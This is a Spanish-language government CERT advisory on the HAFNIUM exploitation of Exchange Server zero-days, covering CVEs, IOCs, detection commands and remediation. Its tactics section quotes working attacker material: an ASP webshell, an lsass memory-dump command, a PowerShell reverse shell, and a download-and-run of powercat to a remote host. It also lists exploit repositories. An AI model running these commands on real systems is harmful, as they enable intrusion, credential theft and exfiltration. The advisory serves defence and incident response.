Zero Day Exchange Server: HAFNIUM

Abstract: Microsoft ha anunciado vulnerabilidades sobre diferentes versiones de Exchange Server en sus versiones on-premise. Estas vulnerabilidades se estarían explotando a nivel mundial, por lo que el nivel de riesgo es extremadamente alto. El fabricante ha publicado actualizaciones para los productos y su aplicación es imprescindible, debido a que el riesgo es crítico y la explotación de la vulnerabilidad altamente factible. En caso de no poder aplicar las actualizaciones, se deberán aplicar medidas de contingencia, poniendo en marcha medidas activas de vigilancia.

Contenido:

1. INTRODUCCIÓN

El correo electrónico a día de hoy es un elemento altamente crítico y está presente en prácticamente todas las organizaciones. Las características y arquitecturas de esta tecnología, implica que el servicio tenga una exposición significativa, que lo hace propicio para su explotación. Las pasarelas *SMTP*, los servicios *webmail* o los paneles de administración son ejemplos típicos de los componentes que están publicados hacia internet.

Debido a esta exposición el mantenimiento del servicio de correo electrónico es altamente crítico y los fabricantes tratan de cuidar la protección de los mismos. Aunque no es habitual la publicación de vulnerabilidades, cuando esto se produce, supone un impacto global por las características innatas que aporta el servicio de correo electrónico a las organizaciones.

El 2 de marzo de 2021, Microsoft anunció vulnerabilidades sobre diferentes versiones de *MS Exchange Server* en sus versiones *on-premise*. Estas vulnerabilidades se estarían

explotando a nivel mundial, por lo que el nivel de riesgo es extremadamente alto, lo que implica la necesidad de aplicar las actualizaciones que ha publicado el fabricante con la mayor brevedad.

Las versiones afectadas y para las que Microsoft ha publicado actualizaciones de seguridad son:

- *Exchange Server 2010*. Publicación de la RU 31 para *Service Pack 3*. En base es una actualización que toma como base la defensa en profundidad.
- *Exchange Server 2013*. Publicación de CU 23.
- *Exchange Server 2016*. Publicación CU19, CU 18.
- *Exchange Server 2019*. Publicación CU 8, CU 7.

Otras versiones de *MS Exchange Server* previas podrían verse afectadas, pero no ha sido confirmado el hecho y tampoco han sido publicadas actualizaciones.

En este sentido las consideraciones a tener en cuenta son:

- En las versiones con actualizaciones publicadas, **la aplicación inmediata de las de las mismas**
- Para la versión *Exchange Server 2010* que está fuera de soporte y otras versiones previas, actualizarlas a una versión soportada o incluso preferiblemente **migrar a servicios Cloud como Office 365**.
- Los expedientes publicados con los detalles de las vulnerabilidades son: **CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 y CVE-2021-27065.**
- Los servicios de correo electrónico sobre **Office 365 no estarían afectados**.

2. DETALLE TÉCNICO DE LAS VULNERABILIDADES Y EXPLOTACIÓN

El grupo *HAFMIUM* estaría realizando explotación de las vulnerabilidades para afectar los sistemas. El compromiso de los servidores tal y como se detalla a continuación sería completo, permitiendo además propiciar movimientos laterales debido a las características y arquitectura típica de este servicio.

2.1 CVE-2021-26855

Esta vulnerabilidad se encuadra dentro de las de tipología *SSRF* (*Server-Side request forgery*). Este hecho implica que el atacante envía código arbitrario a través de peticiones *HTTP*, que son interpretadas correctamente por el servidor y ejecutadas en el contexto de privilegio del servicio de *Exchange*.

A través de esta se podrían llegar a ejecutar llamadas o comandos en el servicio. Esta acción será habitualmente empleada en una primera instancia para que a través de su explotación efectiva el atacante pueda llegar a obtener el control del sistema.

2.2 CVE-2021-26857

Esta vulnerabilidad consiste en una técnica de deserialización sobre el servicio de mensajería unificada con el que cuenta *MS Exchange Server*. A través de la misma el atacante tendría la posibilidad de ejecutar código con los privilegios de *SYSTEM* en un servidor *MS Exchange Server*.

Debe tenerse en cuenta que en el último año se han publicado otras versiones basada en las técnicas de deserialización, también sobre el mismo servicio.

2.3 CVE-2021-26858

Esta vulnerabilidad es una acción posterior a la autenticación que permitiría al atacante la creación de ficheros sobre en el servidor.

Con la autenticación factible, que se habría conseguido a través de la explotación de las anteriores vulnerabilidades, el atacante podría subir ficheros. Esto permitiría llevar a cabo acciones de ataque, persistencia o enmascaramiento. Por ejemplo, podría llevar a cabo la subida de *Webshell* para un control más efectivo del sistema. También podría llevarse a cabo la subida de *script*s que, empleando elementos comunes del sistema como *PowerShell*, permitiría múltiples acciones de exfiltración o movimientos laterales entre otros.

2.4 CVE-2021-27065

Esta vulnerabilidad, como la anterior, entraría dentro de las definidas como *post-authentication*. Sería empleada una vez realizada la autenticación, explotando la vulnerabilidad para escribir ficheros en cualquier ruta del servidor.

2.5 Detalle de ataques realizados por el grupo HAFNIUM

La publicación de las vulnerabilidades, permite definir algunas de las tácticas empleadas habitualmente por este grupo, para comprometer un sistema y explotar acciones dentro de la infraestructura. Así es posible determinar que:

- Determinadas vulnerabilidades son empleadas para realizar la toma de control efectiva del sistema y llevar a cabo la autenticación sobre el mismo. Estas mismas vulnerabilidades podrían emplearse para la ejecución de comandos o *scripts*.
- Otras vulnerabilidades son empleadas para escribir ficheros en el servidor y, debido al contexto privilegiado, realizar esta acción sobre cualquier ruta de este.

En los análisis llevados a cabo se ha podido identificar acciones tales como:

- Despliegue de ficheros de *Webshell* escritos en lenguaje *ASP* que permitiría que al atacante orquestar mecanismos de control y ejecución remota en un contexto privilegiado.

```
<%@ Page Language="Jscript"%><%System.IO.File.WriteAllText(Request.Item["p"],
Request.Item["c"]);%>
```

- Llevar a cabo volcados de memoria RAM con el objetivo de realizar el robo de *hashes* o incluso de claves en texto plano en función de los proveedores criptográficos con los que contara el equipo.

  Esta es una acción típica de atacante ya que si un administrador de dominio se encontrara por ejemplo validado a través del servicio de escritorio remoto (RDP), obtendría una información valiosa para la realización de movimientos laterales.

```
C:\windows\temp\procdump64 -accepteula -ma lsass.exe C:\windows\temp\lsass
```

- Realizar el volcado de buzones de usuarios mediante la ejecución de comandos de *PowerShell*.

```
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;&#x0A;Get-Mailbox&#x0A

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;Get-MailboxExportRequest -ResultSize
100

Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;Get-MailboxExportRequest|Remove-
MailboxExportRequest -Confirm:$false
```

- Comprimir los ficheros empleando la utilidad *7-Zip*, para llevar a cabo una exfiltración de datos con un menor consumo de ancho de banda e incluso particionar el contenido entre diferentes ficheros.

```
c:\ProgramData\7z a -t7z -r  c:\ProgramData\it.zip c:\ProgramData\pst
```

- Llevar a cabo otros mecanismos de implantación de *shell* remotas, creación de canales reversos u otras acciones, llevados a cabo a través de *PowerShell*.

```
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient([redacted]);$stream =
$client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString
($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' +
(pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write
($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

```
IEX (New-Object System.Net.Webclient).DownloadString
('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c
[redacted] -p [redacted] -e powershell
```

2.6 Webshell identificadas

Hasta la fecha han sido identificados determinados ficheros de *Web shell*. Estos serían los *hashes* correspondientes a los ficheros que han sido identificados:

- b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0
- 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e
- 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1
- 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5
- 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1

- 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea
- 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d
- 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944

Las rutas habituales donde se han identificado dichos ficheros de *Web shell* son:

- C:\inetpub\wwwroot\aspnet_client\
- C:\inetpub\wwwroot\aspnet_client\system_web\
- En rutas de instalación de *MS Exchange Server installation paths* tales como:
  - %PROGRAMFILES%\Microsoft\Exchange
  - Server\V15\FrontEnd\HttpProxy\owa\auth\
  - C:\Exchange\FrontEnd\HttpProxy\owa\auth\

Estos ficheros podrían tener diferentes nombres y pasarían por ficheros convencionales. Algunos ejemplos, aunque no se puede descartar que puedan aparecer otros, son:

- web.aspx
- help.aspx
- document.aspx
- errorEE.aspx
- errorEEE.aspx
- errorEW.aspx
- errorFF.aspx
- healthcheck.aspx
- aspnet_www.aspx
- aspnet_client.aspx
- xx.aspx
- shell.aspx
- aspnet_iisstart.aspx
- one.aspx

2.7 Identificación de exploits

Microsoft Windows Defender y *Microsoft Defender para EndPoint* han sido actualizados con firmas que permitirían detectar la explotación. Debe tenerse en cuenta que algunos de los nombres que se citan a continuación son ficheros generales (*WebShell* y aplicaciones que son empleadas por grupos cibercriminales) y no tienen porqué

coincidir con la campaña relativa a la explotación de las vulnerabilidades a la que se refiere el documento. Los identificadores posibles son:

- Exploit:Script/Exmann.A!dha
- Behavior:Win32/Exmann.A B
- ackdoor:ASP/SecChecker.A
- Backdoor:JS/Webshell (empleado en diferentes campañas)
- Trojan:JS/Chopper!dha (empleado en diferentes campañas)
- Behavior:Win32/DumpLsass.A!attk (empleado en diferentes campañas)
- Backdoor:HTML/TwoFaceVar.B (empleado en diferentes campañas)
- Suspicious Exchange UM process creation
- Suspicious Exchange UM file creation
- Possible web shell installation (empleado en diferentes campañas)
- Process memory dump (empleado en diferentes campañas)

2.8 Pruebas de concepto

Existen pruebas de concepto (POC) publicadas y códigos para la identificación de servicios vulnerables. Este hecho hace que haya un mayor alcance en la capacidad para explotar las vulnerabilidades y presumiblemente, puesto que es factible, pueda haber una campaña de ransomware asociada. La explotación masiva de las vulnerabilidades por parte de cualquier actor podría ser inminente.

Algunos de los repositorios identificados tanto de POC de explotación como de script de verificación:

- https://github.com/GreyOrder/CVE-2021-26855: este repositorio contiene una prueba de concepto para la vulnerabilidad CVE-2021-26855. Según la documentación, la herramienta permite la detección de la vulnerabilidad, la enumeración de usuarios y la lectura de correos electrónicos. Se incluyen varias capturas de pantalla en las que se puede apreciar cómo ejecutando el código es posible enumerar usuarios, listar correos y obtener ficheros contenidos en estos. La herramienta ha sido desarrollada en Golang y tiene una alta reputación para el tiempo que lleva disponible (28 star 8 fork).
- https://github.com/Th3eCrow/CVE-2021-26855-SSRF-Exchange: en el repositorio se incluyen varios métodos para detectar servidores vulnerables al CVE-2021-26855 de manera pasiva a través de los servicios de Shodan, Fofa y Zoomeye. Además, se incluye un script en Python que permite detectar si un servidor es vulnerable y obtener información tales como el nombre de dominio, el nombre de máquina o el SID de usuarios.

- https://github.com/0xAbdullah/CVE-2021-26855: script desarrollado en Python para determinar si un servidor es vulnerable al CVE-2021-26855.
- https://github.com/pussycat0x/CVE-2021-26855-SSRF: prueba de concepto de explotación asociado al CVE-2021-26855. En el repositorio se incluye una captura de pantalla en la que se puede observar que tras la ejecución de esta POC se consiguen recibir peticiones del servidor vulnerable en un "collaborator" de burp. La POC está desarrollada en Python.
- https://github.com/adamrpostjr/cve-2021-27065: conjunto de herramientas "one-liner" que permiten detectar si un servidor ha sido afectado por el CVE-2021-27065. La ejecución de estas herramientas permite localizar webshells, zips y logs que pueden determinar si el servidor ha sufrido un ataque a través de estas vulnerabilidades.

3. INDICADORES DE COMPROMISO (IOC)

Con objeto de identificar posibles ataques o explotaciones empleando las vulnerabilidades publicadas, las organizaciones deberían llevar a cabo ciertas revisiones. Debe tomarse en cuenta que el hecho de no encontrar posibles IOC no tiene por qué implicar que no se ha producido un ataque efectivo. Existen mecanismos de enmascaramiento o simplemente la información podría haberse eliminado.

Algunos de los identificadores claros son:

- Existencia de los ficheros referidos en el punto anterior bien a través de los nombre y rutas o bien a través de la verificación de Hashes.
- Mensajes de alerta de las soluciones de protección frente a código dañino, como las anteriormente citadas.
- La explotación de la vulnerabilidad **CVE-2021-26855** puede ser identificada a través de los siguientes registros de actividad en el servicio *Exchange HHTPProxy*.

  En PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\HttpProx se encuentran entradas como:

  Import-Csv -Path (Get-ChildItem -Recurse -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -Filter '.log').FullName | Where-Object { $_.AuthenticatedUser -eq '' -and $_.AnchorMailbox -like 'ServerInfo~*/*' } | select DateTime, AnchorMailbox*
- La explotación de la vulnerabilidad **CVE-2021-26858** puede ser identificada a través de los siguientes registros de actividad.

  C:\ProgramFiles\Microsoft\ExchangeServer\V15\Logging\OABGeneratorLo g%PROGRAMFILES%\Microsoft\ExchangeServer\V15\ClientAccess\OAB\Te

mp directory. Se pueden encontrar comandos a través de las siguientes sentencias:

findstr /snip /c:"Download failed and temporary file" "%PROGRAMFILES%\Microsoft\ExchangeServer\V15\Logging\OABGeneratorLog.log"*

- La explotación de la vulnerabilidad **CVE-2021-26857** puede ser detectado en el registro de eventos de Windows.

  Source: MSExchange Unified Messaging
  EntryType: Error
  Event Message Contains: System.InvalidCastException

  *Get-EventLog -LogName Application -Source "MSExchange Unified Messaging" -EntryType Error | Where-Object { $_.Message -like "*System.InvalidCastException*" }*

- La explotación de la vulnerabilidad **CVE-2021-27065** puede ser detectado en los siguientes registros de *MS Exchange*.

  C:\Program Files\Microsoft\Exchange Server\V15\Logging\ECP\Server

  All Set-<AppName>VirtualDirectory properties should never contain script. InternalUrl and ExternalUrl should only be valid Uris.

  El siguiente comando de PowerShell puede ser buscado para identificar explotación:

  Select-String -Path "$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server.log" -Pattern 'Set-.+VirtualDirectory'*

4. PROCEDIMIENTO DE DETECCIÓN

Se recomienda realizar, al menos, las siguientes comprobaciones:

1. **Revisar los logs de Exchange HttpProxy en busca de registros que contengan *ServerInfo~*/*. Para ello puede usarse el siguiente comando de PowerShell:**

```
Import-Csv -Path (Get-ChildItem -Recurse -Path
"$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\HttpProxy" -
Filter '*.log').FullName | Where-Object{ $_.AuthenticatedUser -eq '' -
and $_.AnchorMailbox -like 'ServerInfo~*/*'}|select DateTime,
AnchorMailbox
```

2. **Revisar errores en el log de Unified Messaging que puedan indicar una posible explotación. Para ello puede usarse el siguiente comando de PowerShell:**

```
Get-EventLog -LogName Application -Source "MSExchange Unified
Messaging" -EntryType Error | Where-Object { $_.Message -like
"*System.InvalidCastException*" }
```

3. **Identificar si ha habido contactos entre los servidores de correo y alguna de las siguientes direcciones IP:**

```
103.77.192[.]219
104.140.114[.]110
104.250.191[.]110
108.61.246[.]56
149.28.14[.]163
157.230.221[.]198
167.99.168[.]251
185.250.151[.]72
192.81.208[.]169
203.160.69[.]66
211.56.98[.]146
5.254.43[.]18
5.2.69[.]14
91.192.103[.]43
80.92.205[.]81
165.232.154[.]116
157.230.221[.]198
104.248.49[.]97
```

4. **Buscar las siguientes cadenas en los logs de los IIS de los servidores Exchange:**

   - POST /owa/auth/Current/
   - POST /ecp/default.flt
   - POST /ecp/main.css
   - POST /ecp/<single char>.js

5. **Revisar si ha habido conexiones a los servidores de correo utilizando alguno de los siguientes User-Agents:**

   - DuckDuckBot/1.0; (http://duckduckgo.com/duckduckbot.html)
   - facebookexternalhit/1.1 (http://www.facebook.com/externalhit_uatext.php)
   - Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)
   - Mozilla/5.0 (compatible; Bingbot/2.0; http://www.bing.com/bingbot.htm)
   - Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html
   - Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Exabot-Thumbnails)
   - Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)
   - Mozilla/5.0 (compatible; YandexBot/3.0; http://yandex.com/bots)
   - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
   - antSword/v2.1

- Googlebot/2.1 (http://www.googlebot.com/bot.html)
- Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)

6. **Revisar los ficheros que se encuentre en las siguientes rutas:**

   - C:\inetpub\wwwroot\aspnet_client\
   - C:\inetpub\wwwroot\aspnet_client\system_web\
   - %PROGRAMFILES%\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
   - C:\Exchange\FrontEnd\HttpProxy\owa\auth\

7. **Analizar el contenido de cualquier fichero aspx de reciente creación o con alguno de estos nombres:**

   - web.aspx
   - help.aspx
   - document.aspx
   - errorEE.aspx
   - errorEEE.aspx
   - errorEW.aspx
   - errorFF.aspx
   - healthcheck.aspx
   - aspnet_www.aspx
   - aspnet_client.aspx
   - xx.aspx
   - shell.aspx
   - aspnet_iisstart.aspx
   - one.aspx
   - aspnet.aspx
   - client.aspx
   - OutlookEN.aspx

8. **Si se dispone de Sysmon, CLAUDIA o la auditoría de procesos está activada (evento 4688), se deberán revisar los comandos ejecutados recientemente, con especial atención a las ejecuciones de:**

   - powershell.exe
   - cmd.exe
   - procesos hijos de UMWorkerProcess.exe que no sean WerFault.exe

9. **Adicionalmente a estas revisiones, el equipo de trabajo de MS Exchange ha publicado un script de PowerShell que permite recopilar información del servidor y que ofrece información de la infraestructura on-premise. Entre la información se incluye si el sistema está actualizado y por lo tanto protegido frente a los ataques que aprovechan las vulnerabilidades publicados. Estos scripts no son válidos para la versión de MS Exchange Server 2010, para el que Microsoft no ha ofrecido un "Health Checker" actualizado.**

   Puede descargar los scripts de la siguiente dirección URL:

   https://github.com/dpaulson45/HealthChecker#download

5. CONCLUSIONES Y RECOMENDACIONES

Habida cuenta de lo tratado en el presente documento, se pueden extraer las siguientes conclusiones:

- Las acciones referenciadas en el documento evidencian una **situación altamente crítica** que implica una campaña orquestada por ciberatacantes.
- Existen diferentes acciones de explotación sobre ***servidores Exchange*** **en su versión *on-premise***, que permiten a los atacantes:
  - Realizar la toma de control sobre el servicio de correo electrónico.
  - Elevar privilegios.
  - Exfiltrar información tales como buzones.
  - Llevar a cabo ataques para la persistencia o movimientos laterales.
- El servicio de ***MS Exchange Server*** **debe ser actualizado** para prevenir el vector de riesgo que supone las vulnerabilidades identificadas.
- En caso de identificar presencias de ataque se deberá:
  - Llevar a cabo el reseteo de todas las contraseñas de usuario.
  - Llevar a cabo el resteo de la cuenta *kerberos* siguiendo procedimiento similar a la acontecida por un ataque de *Golden Ticket Kerberos*.
  - Iniciar un proceso de monitorización y vigilancia intensiva, especialmente en lo referido a posibles acciones de exfiltración.
  - Buscar presencia de posibles movimientos laterales.

En definitiva, se recomienda encarecidamente a los usuarios y administradores de sistemas que **apliquen los parches de seguridad en cuanto se encuentren disponibles**, con el fin de evitar la exposición a ataques externos y la toma de control de los sistemas informáticos.

Destacar que otras versiones de *MS Exchange Server* previas podrían verse afectadas, pero no ha sido confirmado por la compañía ni tampoco han sido publicadas actualizaciones. Por lo tanto, para la versión *Exchange Server 2010* (y otras versiones previas), las cuales están fuera de soporte, **se recomienda actualizar a una versión soportada o incluso preferiblemente migrar a servicios Cloud como Office 365**.

Con el objetivo de identificar posibles ataques o explotaciones empleando las vulnerabilidades publicadas, las entidades deberían **llevar a cabo ciertas revisiones** como la comprobación de la existencia de los ficheros referidos anteriormente o bien a través de la verificación de *hashes*.

6. REFERENCIAS

- *Released: March 2021 Exchange Server Security Updates*
- *Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: March 2, 2021*

- *Multiple Security Updates Released for Exchange Server*
- *Microsoft fixes actively exploited Exchange zero-day bugs, patch now*
- *CCN-CERT AL 02/21 Vulnerabilidades zero-day en Microsoft Exchange*

2.5.4.13=Qualified Certificate: AAPP-SEP-M-SW-KPSC, ou=sello electrónico, serialNumber=S2800155J, o=CENTRO CRIPTOLOGICO NACIONAL, c=ES
2021.03.09 09:32:22 +01'00'